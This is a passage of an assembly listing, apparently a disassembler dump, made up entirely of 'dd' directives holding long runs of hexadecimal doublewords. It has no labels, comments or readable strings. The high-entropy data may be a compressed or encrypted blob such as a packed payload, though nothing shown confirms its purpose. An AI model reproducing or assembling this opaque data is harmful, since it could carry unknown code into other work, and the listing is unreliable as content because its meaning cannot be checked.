88CF815Ch, 0ADCBA390h dd 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh dd 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h, 3A1939ECh dd 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh, 96351EC9h dd 973E803Ch, 95AAC277h, 0B87E7170h, 0C3E203AAh, 6F2FD30h dd 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h, 5F1DFF4Ch dd 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch, 22C12EB3h dd 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h, 0F575AF8h dd 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h, 38390008h dd 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch, 2C918C2h dd 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h, 0FE60D353h dd 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h, 70D0FDF2h dd 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh, 0EC18B25h dd 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h, 20B449EAh dd 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh, 2C6440C0h dd 197ECh, 173C07A2h, 41D122C9h, 2452D900h, 0C4926FC8h dd 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh, 0BD3C3Bh dd 0C1C725C2h, 0F9D11C60h, 3ADB9DD6h, 3E6AF880h, 83747972h dd 0BA934800h, 133F0AC2h, 5FE870h, 767C0F45h, 0A68F854Fh dd 3E3CF39h, 900EDCF5h, 70409801h, 4E0F018Eh, 582D8921h dd 0E0B4F5FAh, 760EC359h, 4E86F379h, 0F29F808Eh, 4DECE9A4h dd 0F13082B9h, 72310C89h, 20491600h, 3D323CBEh, 347E23Eh dd 6D27663Fh, 99F85EECh, 0AC3825C0h, 6005070Bh, 0E6C593CEh dd 2504180h, 0C314034Fh, 5DB3285Ah, 0B2D381A8h, 0F2BBE309h dd 5CD880E6h, 486E2D2Ah, 580570FAh, 0F0817C90h, 4E019555h dd 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh, 0FA702C60h, 765D06AEh dd 27008D7Bh, 0D9F641C1h, 7938E9F9h, 4B037946h, 7E5FCEEh dd 853D7E58h, 2E0591B0h, 16A101ABh, 0FCCFCE20h, 92F1C8DFh dd 1101CC7Ah, 84321E36h, 0F840563Bh, 22824Ch, 4F2A7063h dd 8EF60F7Ch, 98CF39h, 0C2A8CBA1h, 3A94E124h, 27AE38D3h dd 1E200FC5h, 0B3329201h, 0F0C14768h, 0F1A0E288h, 0C21F1200h dd 0DF27C791h, 0E2F8F641h, 72380F07h, 83E04E15h, 64C35CD8h dd 0E26FD307h, 0C69049B2h, 924D7F9h, 859FEDD6h, 5AFE9170h dd 8056B03Ah, 0F8A6F490h, 9A94ABh, 0AAA0D813h, 773A394Eh dd 3E1E59F0h, 4C0EC49h, 40900C3Dh, 423000BCh, 0ADA0997h dd 1239E002h, 8E76B857h, 409F84ECh, 98A8BB2Eh, 6B30FF3Fh dd 9E100326h, 5B133C9Dh, 7C27D400h, 6CC7D461h, 7405EE14h dd 0F83B1F84h, 84629F96h, 80F99EBAh, 4E740C38h, 9D9A2D38h dd 6B805678h, 0CFA2E80Fh, 0EECB00E5h, 34030E41h, 1CF81694h dd 1700FDB8h, 4A384929h, 395D9699h, 890083F9h, 0A1278A68h dd 0B17BAC61h, 0D26CCB00h, 6436DE2Eh, 184E00FCh, 78D82A49h dd 3BF01EB8h, 8756C23Bh, 30546C62h, 0C0D375A2h, 0EB53CAAh dd 0E27E0E50h, 95DF140h, 430E2506h, 63AF3487h, 14A4D9h dd 3BA03AACh, 3DB43CA5h dd 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh, 1E3F4DFh dd 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h, 0FD000D3Fh dd 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h, 4EC05881h dd 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh, 0E4000982h dd 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh, 0C26B9200h dd 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h, 1000D9BDh dd 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h, 351A8500h dd 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h, 0C8C50C17h dd 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h, 0C5FEA7A9h dd 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh, 0C08CF872h dd 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h, 0A27E3A40h dd 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h, 987A9CD8h dd 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh, 3D613C4Dh dd 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch, 6CAB9Ch dd 9302F624h, 8600C218h, 0C0E48457h, 9085E808h, 4E5D2C33h dd 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h, 0A4392EDDh dd 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h, 2171FE4Dh dd 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh, 36E9A300h dd 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh, 4C35272Dh dd 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h, 0E5A31C00h dd 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh, 80508BB5h dd 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h, 0C23B3A84h dd 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh, 0CA2D603Fh dd 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh, 44F6C838h dd 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h, 0DC9270E8h dd 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h dd 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h, 9EA81D60h dd 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h, 9EC669D7h dd 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh, 0CE0F7E49h dd 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h, 0BC6B4466h dd 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h, 0F0E947B2h dd 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h, 0BE443EC2h dd 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah dd 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h, 2AE4D68Eh dd 3D030013h, 260F097h, 7D003E2Fh, 3F217081h, 4386C29h dd 4C26453Bh, 500ABAEh, 0C811E088h, 39EA015Ch, 2D663A2Fh dd 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h, 0F07E3409h dd 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h, 0F8009E1Ch dd 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h, 5EFCF04Dh dd 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch, 0DC4B7B7Ch dd 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h, 0CC38C003h dd 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h, 0E82972E0h dd 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h, 0CC4C68D6h dd 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h dd 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh, 0D6282CE0h dd 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h, 3A49D93Eh dd 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh, 0C4B88098h dd 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh, 92626088h dd 0AE8276h, 2C7C7E9Eh, 3249017Ah, 4D334200h, 0EC3C80C9h dd 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h, 0DA300964h dd 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h, 169E5E1Dh dd 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h, 69385C12h dd 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh, 0C390516h dd 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h, 0C968660Fh dd 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h, 0E6724009h dd 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h, 2A8E3F4Bh dd 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h, 0AB0C1C0Bh dd 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h, 0E3603E41h dd 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch, 0DE1C1072h dd 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h, 0D812EE0Bh dd 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh, 265081B7h dd 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h, 9682DC06h dd 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh, 0C8FA4D80h dd 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h, 0FCC7F8BCh dd 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h, 96849754h dd 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h, 745B7239h dd 8F704983h, 3EAE3D00h, 0EAF32CC6h, 1EC001B3h, 46A2B92h dd 0E956E4C1h, 4B00F1E2h, 0F24CE238h, 3824763Bh, 3D80099Fh dd 4E32D847h, 2E00C366h, 0DC94D28Ch, 279C122Ch, 4DC19E83h dd 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h, 0B29D0043h dd 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h, 7724F080h dd 499E00D2h, 0E100D6FAh, 6807E9F5h, 3263A66h, 3CE42B24h dd 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh, 0E7F8FA07h dd 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh, 0A17207C0h dd 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h, 89951A00h dd 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h, 608E6163h dd 0B7E2B0A5h, 98879703h, 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h dd 5804F32Dh, 2794DC09h, 8C07161Eh, 93FE8FC0h, 0FE36323Fh dd 7E8A3C70h, 3772007Fh, 8640A06Bh, 0A5E21CB4h, 1DB89D00h dd 15F09ECDh, 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h dd 3E7C0C92h, 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh dd 0B64F46DCh, 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h dd 1C014F0h, 0EE300BA3h, 3A7C32h, 0F916640Ch, 2F34B8FDh dd 0C6610500h, 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh dd 2E7353Fh, 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h dd 611FFA94h, 76593h, 25923B98h, 9A08E002h, 380A9C00h dd 1FEC824Ah, 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h dd 0ACFA4A00h, 12B0D4h, 0BC684FB4h, 7678C0CBh, 75C85B3Bh dd 50F08B00h, 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h dd 48204A1Ch, 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h dd 3E70DE4Ah, 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h dd 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h dd 40C61F0h, 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch dd 285B0086h, 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h dd 7CFC78A0h, 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h dd 0CCE058C0h, 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h dd 0C93CCCh, 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h dd 84C880F9h, 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h dd 760CE2C4h, 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h dd 3C100905h, 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h dd 44AE568Ch, 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h dd 0A4701A00h, 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h dd 0A803A47Dh, 6FB02CC1h dd 7BB8F80Bh, 1C4107FEh, 0A02F3834h, 20704832h, 0F5C5A00h dd 6CCB689Ah, 2FF0747Bh, 0AB63DC79h, 96F441BFh, 0C04630F8h dd 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h, 0E285B778h dd 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh dd 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h, 4FDE00E4h dd 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h dd 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h, 28068480h dd 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h, 88B00F2Fh dd 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh dd 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h, 8490438h dd 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh, 162C9328h dd 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h, 4B854E4h dd 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh, 40E86090h dd 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah, 44BB18DEh dd 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h, 832E2FE9h dd 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh, 60897D31h dd 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h, 21FA4228h dd 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h, 0DF46EAA0h dd 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch, 7F8B3774h dd 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h, 57E35036h dd 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch, 2002B063h dd 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh, 57E100E0h dd 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh, 0B0CC02Ah dd 0A7A74DBh, 870003ECh, 89195985h, 318DF0h, 831171B5h dd 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h, 141EFC99h dd 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h, 51A0BB05h dd 2F29A03h, 6EBD8880h, 12D0070h, 85FE4C75h, 8B0F0940h dd 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h, 535651A3h dd 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh, 1A781C03h dd 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h, 0C3831E29h dd 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh, 36104837h dd 0F90CC1h, 8DA5F302h, 3C0377E1h, 535EA400h, 809C5088h dd 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h, 64E402A9h dd 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h, 0E8C1C200h dd 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh, 834E548Bh dd 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h, 9D7401FBh dd 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h, 79820FFFh dd 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh, 0B8E20200h dd 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch, 1539071h dd 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h, 29F016h dd 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h, 107AD8h dd 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h, 0A49900DBh dd 62F759A2h, 802501ECh, 0F0F475h, 5653C543h, 6500028Ah dd 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh, 0D28B57E0h dd 83659839h, 31342BC7h, 99E9D842h, 4939012Ah, 37DC3606h dd 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h, 3F7C0F63h dd 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h dd 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch, 0AF32E900h dd 4A2D06E7h, 710E892h, 0D9141C0Ah, 0FEEBF0C1h, 8500BA24h dd 0A4506544h, 735B483Dh, 100400C2h, 61022F11h, 0B81F0875h dd 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh, 0AC005051h dd 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h, 9400DB30h dd 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h, 0E1468961h dd 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh, 0D8583329h dd 0B8C6366Fh, 9B4FAC00h, 3899447Ch, 0E9F826h, 9D59CB3Bh dd 907283B0h, 0DF58141Eh, 6CF3DA80h, 0DD86ACh, 9376A39Bh dd 0CDFBC7AEh, 6400BD72h, 0FA3348ADh, 28A2C8B6h, 0E6A5C63Fh dd 0FC8B0F71h, 0D9607389h, 63242296h, 31076700h, 1C105768h dd 9EB007Bh, 3EFE5461h, 0F100D08Eh, 73E0FC7Fh, 0E75EE3h dd 589A0A8Bh, 0A67EABF6h, 28C9F800h, 47C333D0h, 1A370009h dd 0BFC8538Ch, 1EEE24E4h, 72415A00h, 0F97EC44Dh, 17890015h dd 0B526B2B9h, 4A0686ECh, 0AB1E3C78h, 0E4EAEAh, 6CE7A8Bh dd 0A8096BADh, 0FC40A900h, 67D247AAh, 945B00E9h, 69EB9AA2h dd 0A60314DCh, 48380B3Fh, 0AAC59928h, 3531ECh, 598FD92h dd 83F47E8Dh, 46F55B00h, 1EE0BD7Bh, 0F7B6005Dh, 317AC360h dd 0AE006225h, 0B2CF5111h, 1EB7E15Ah, 40194D0Ch, 44EEF035h dd 6D392A69h, 0F79C9C3Fh, 97889940h, 27E35Dh, 415C20C0h dd 5FAE639h, 65D30F00h, 0BA33CD3Bh, 67550080h, 7B0917B1h dd 390369E0h, 0FC6C2AF2h, 0E15B88A9h, 959D00EFh, 8D2D3418h dd 200D91Bh, 0E13E80Bh, 0E9473Ah, 0BCBB4A0Ch, 0DE1F8D76h dd 1591600h, 422E6331h, 0CC5200CEh, 4E47248Bh, 5407189Eh dd 0F2209564h, 0E04F9980h, 0CE9B0636h, 0DC19F1D2h, 46066A00h dd 43502180h, 0A38A00EEh, 61419C66h, 541CE5E4h, 120F4AF0h dd 202E6ED2h, 2432C633h, 8D500CCh, 40FA631Eh, 54392CDBh dd 0EFE20F7Ah, 9864A0D2h, 0B4B53h, 2FFDA047h, 806D865Ch dd 5626F800h, 55C91413h, 0B9270063h, 908DAC29h, 0F90E4296h dd 0E2D8E3E4h, 40E81C4Eh, 389EAE7Fh, 0F5800F9Bh, 0F65E9101h dd 560F58A6h, 6ED46646h, 0A061035Bh, 0BD20802Eh, 9BEA25h dd 6E648401h, 81ECC3E4h, 0BC781600h, 30BAB5ADh, 3ECC03C1h dd 75565017h, 86A5B1A8h, 2228C200h, 9414D5E4h, 96C33DCAh dd 2D66F680h, 64F6267h, 57D27A00h, 5E72C52Bh, 6098BBh dd 9EBCD761h, 0E53FF147h, 9EA2EF3Ch, 9947749Bh, 0CAC0A143h dd 1C7C1F83h, 40C8E56Dh, 7E22FDB3h, 40765D1h, 0D440E0C0h dd 0EA2BE9D0h, 0CD2E004Bh, 684D11FEh, 0EE0046BCh, 0F443D61Ch dd 0E731D2h, 0CF0FF06Dh, 0EB483BC4h, 0F8A5F107h, 3660994Bh dd 2A6020h, 0D9F057B1h, 0E265355Ah, 1BE46300h, 2CE544A8h dd 0BE93004Dh, 6DCF7AFDh, 83017FB2h, 4791696Ah, 9DE89B4Ch dd 0BFF9004Fh, 1A15B9Fh, 8D003CF8h, 8F36BAADh, 2CE30Bh dd 0ECC4E545h, 6D88F2C9h, 980E1A7Fh, 80476E0Ah, 36F40107h dd 16FE00EAh, 589D790Dh, 97005F4Dh, 83CDF714h, 0A5D1F1h dd 0EE6296C2h, 0ACA43A0Fh, 3B5FCE0Fh, 4C0A805Ch, 34B8A8h dd 5740225Ah, 48ACFBBBh, 0A62C8928h, 0E682600h, 4FDCAB77h dd 97ED0018h, 3E44D13h, 94384220h, 80DFB8F0h, 0C889110Eh dd 7A97BBh, 4746A41Ah, 15FC9877h, 86794500h, 0F744F88Ch dd 81B4019Eh, 2C8B941Dh, 4BEDD824h, 0C30F4F94h, 60EC6655h dd 0EE34B008h, 0FC0C047Dh, 808A80B2h, 470788AEh, 75D2020Fh dd 52164F05h, 0EF73A705h, 2B4A0B28h, 840DC033h, 0B1D6830Fh dd 130F5C3Fh, 0F10BC057h, 6B200674h, 6207F8F8h, 0A0EBBD5Fh dd 3E9DA0C2h, 83EA7283h, 28C2EFE8h, 4320B4B9h, 8B56C0C9h dd 3F52BF7h, 0E95EA4F3h, 205FF58h, 8E0C148h, 0E88BB245h dd 3D38316Bh, 73367D31h, 50E901Ah, 410E287Eh, 22F04240h dd 0F8830718h, 5203777Fh, 15BB02C1h, 33A358ECh, 0E8C000C9h dd 83127401h, 0B6D502D1h dd 0FEE7C41Ch, 12725D0Fh, 860FAB26h, 8C20461h, 2FC279E1h dd 0F8BAF410h, 0D58273FEh, 0B8BD388Eh, 4769561Fh, 0E6617574h dd 6F2B1641h, 461D0D63h, 0C6B659Ch, 6F1D501Fh, 70633DFFh dd 6978451Fh, 73F1F5E2h, 7545A7C6h, 434C8C8Dh, 6129C74Dh dd 0F0FEF967h, 771E411Ch, 697270C0h, 0C766746Eh, 0E04F4C14h dd 20524544h, 0F63C06DDh, 683D54E0h, 3E702865h, 0B8756437h dd 0E3429BAFh, 0DF207F79h, 73250F53h, 0AE3263EFh, 5FEFD316h dd 38625A8Ch, 0E26187A6h, 0F7381EDBh, 79E56B7Dh, 0E36DFBE3h dd 202E6663h, 623F0B6Bh, 68756D72h, 0EB6F5153h, 0A22C5164h dd 43751E95h, 0C19012AFh, 0D219C41Ch, 8A14E509h, 4702D918h dd 41F199FEh, 0F56AFFFBh, 0A17F23CDh, 5AD2BF8Fh, 46BEA6B1h dd 4C2741B1h, 4AD7EF6Fh, 0DAF34F53h, 0A9B433B3h, 6F4BA7A4h dd 30F500h, 1, 5D91h, 0A0571F1Bh, 0BD4DD6Fh, 0FBC67CD2h dd 9D24515Ch, 28D91986h, 7C38E350h, 0A049873Eh, 0D40862D4h dd 0EF630E42h, 0A7D7D99Dh, 8B8404A4h, 6F7E8F4h, 0FC5F6DC2h dd 0F293FCC2h, 2935B5FAh, 0B747439Eh, 3F5EB7A5h, 4E833BCAh dd 0B5A32A2Ah, 9DA4400Ch, 73202C5Ah, 80895652h, 0F025656Dh dd 9385BFC9h, 0D6CEC96h, 435B06B9h, 0A1998FBEh, 2DA8BF53h dd 1756B3C2h, 43B534F7h, 0DF909BE4h, 0A3C4A9C5h, 0A768A3A9h dd 0F38DFA0Fh, 42E376B3h, 7B274500h, 0E804A5B5h, 25052EF3h dd 5F76B4ECh, 639E2A51h, 17DB5D52h, 3DBC9474h, 15B09777h dd 1C95E26Eh, 87D7BD6Eh, 5CAD3C36h, 0B9B1171Eh, 0F40AD23Eh dd 0B7D79B0Bh, 74003602h, 0EA0B7B76h, 0AA1F6925h, 6FC51B14h dd 101B0561h, 0F099A9F2h, 5E388E49h, 6FC58642h, 1E985B4Dh dd 99CC2A73h, 0F3459ACh, 2B4AFD4Fh, 19A0261Bh, 8C059A48h dd 0EDEB5F21h, 0A26BB49Eh, 0B96A0CF7h, 30750351h, 0CF005BCCh dd 36E82E8Ah, 35DF92B4h, 82ADBC9Ah, 9F2B13D5h, 0CECA8C43h dd 7155D934h, 2CCFC0BCh, 25105759h, 0F0D7F9C6h, 2130F4A4h dd 86DFEB9Dh, 12AB37A5h, 23874F88h, 0C81CAF7Ch, 0B2BBA94Fh dd 521F2458h, 1ACB8934h, 7CFD54F7h, 0AB0C03C0h, 1A8B04B7h dd 486ED3F7h, 8CBA765Fh, 7B2CAEE6h, 0FF02A6C7h, 7CDDEC56h dd 0AD4D99A6h, 1F03E9AAh, 0BC79135Eh, 0A8BAEA88h, 0E66F9DC0h dd 37481F4Ah, 0CF0173A9h, 0D72DE1A9h, 4F306B19h, 0CE2EC688h dd 66ABC5FBh, 0AE24965Fh, 6938679Fh, 4B2288B6h, 2FC20CD9h dd 7A43444Eh, 2261AE18h, 0E85C5B55h, 0E2FEE580h, 47B741DFh dd 0F1312948h, 32298FDCh, 888C4ABAh, 7E010D39h, 85C49A3h dd 134D0508h, 6450E448h, 0B28BF816h, 0B42DFACAh, 0ACF188BCh dd 0D315EE02h, 0E03991BDh, 0DD6018B4h, 0F0A7B092h, 0D2E40721h dd 0C1E34A70h, 6E68364h, 19A211E2h, 66BB7818h, 70BE4AC9h dd 5FF95E21h, 0EE37204Ch, 0B5017CE7h, 0D806073Eh, 0C85A47EAh dd 3DCA8CAAh, 0FF8409FBh, 0A97B36Eh, 3C21CF98h, 785B8249h dd 0D68EE33Dh, 0FA1FE345h, 0EAE147DCh, 532FAFh, 0B1A45C7Ah dd 189B110Ah, 0E79C7090h, 0E4338C43h, 0D964E6C2h, 8F1FF078h dd 4187337Dh, 48764213h, 0D7339865h, 39963636h, 0E1834ACCh dd 0F5C802F5h, 46741C2Ch, 0A0ED38DCh, 2C459D95h, 4125B986h dd 9CBCEA56h, 3D98762Ch, 8758DC5Dh, 9FEB8B36h, 6ECED5C3h dd 6DC1F3ABh, 0D5E43B76h, 0FCC59B27h, 7A0BF87Ch, 0D496FBF8h dd 0DE4D1A0Ah, 0C24A0F04h, 0A9F814EBh, 0EA87C5E4h, 5B9ECDE9h dd 0B90470F2h, 0BA67292Eh, 43859FA5h, 78A8C6ECh, 5B42F9Bh dd 0CB992B43h, 51DC66C9h, 187ACBE9h, 3FA8FF4Ch, 0C3B6A099h dd 2796F525h, 8DD35C74h, 52157881h, 9DA81619h, 2B1A18B0h dd 53ABD488h, 0BE232655h, 0F7520F59h, 0EFD9B644h, 0CD87D4D0h dd 814501E6h, 3630A5DFh, 0A2D04ECBh, 9BF5ADB2h, 0D09BF101h dd 85163717h, 0C491A231h, 4BB7C404h, 0B116344Fh, 0B042D556h dd 0C8D68797h, 99F11E83h, 5570F3EBh, 5A8EE213h, 76483734h dd 3D5530BCh, 0F839E793h, 0CBB4D79Eh, 81BC1ECDh, 0EDDE6ACEh dd 1449E0A0h, 428012B5h, 0E82641EAh, 54039223h, 0E97F7A9Ch dd 236522A4h, 0D55F845Eh, 0DAAF8FEAh, 566D7C29h, 0F1757EAh dd 3B3E31B0h, 9C6ED81h, 1DC0075Fh, 93DF9310h, 75EA59E9h dd 5224E647h, 1D022BC8h, 88D7066Ch, 51098B5h, 8CD5617Ch dd 60C158C8h, 73A466FFh, 6726D4BDh, 0CA0B926Eh, 0AA8FB945h dd 0B4C41EE0h, 3778E97h, 755E32B8h, 0DDEBA248h, 0DC60E961h dd 0CBC5B9AEh, 937E451Bh, 14B08B48h, 9C3796E5h, 0CECEC2A2h dd 99E5F3D5h, 0D1E65D9Bh, 0A305846Fh, 0A8FCFE8Bh, 3A204F7Dh dd 5561CA1Fh, 8C66D634h, 8FCFBD93h, 0BBB6AC07h, 0A97AEC3Fh dd 0B1F5C6CDh, 98F0F3C9h, 0F2F44311h, 7FA82938h, 7E9408B5h dd 8A1F267Ah, 0B427AC3Eh, 58226693h, 7277017h, 9F7EC931h dd 0BC556B08h, 424BF838h, 93F50CA4h, 0F2F2E7DEh, 29279CCBh dd 0A40F6883h, 793F380Fh, 5DEDD40Eh, 3CC80F40h, 7791B1C5h dd 3FBCBF30h, 638E35F7h, 160F8231h, 4EDA45CFh, 45477222h dd 87624471h, 8F27B41Ch, 8C5350F9h, 0B5975A2h, 401210BAh dd 85D403D8h, 4F87DCB8h, 3E57872Bh, 710B9B06h, 0B2CA2D86h dd 0DE395BDBh, 288C09B2h, 59F9301Fh, 0F6C9F455h, 3EE65EF6h dd 2245BE77h, 0DE19378Fh, 8A87A7A1h, 0C44CC5B2h, 5D289DEBh dd 0BC2C7BA7h, 0E5226FAh, 95F98896h, 36656FACh, 0BF80CFDEh dd 0D3CC78D4h, 0B494CC97h, 46ED4277h, 11D8040Dh, 0AC57B8C1h dd 9133ADDh, 0EB37841Fh, 0C816C642h, 93C7BE93h, 5E9DE8E7h dd 546B3920h, 644326D0h, 7160ADE9h, 3258FF8Dh, 3B99A8ECh dd 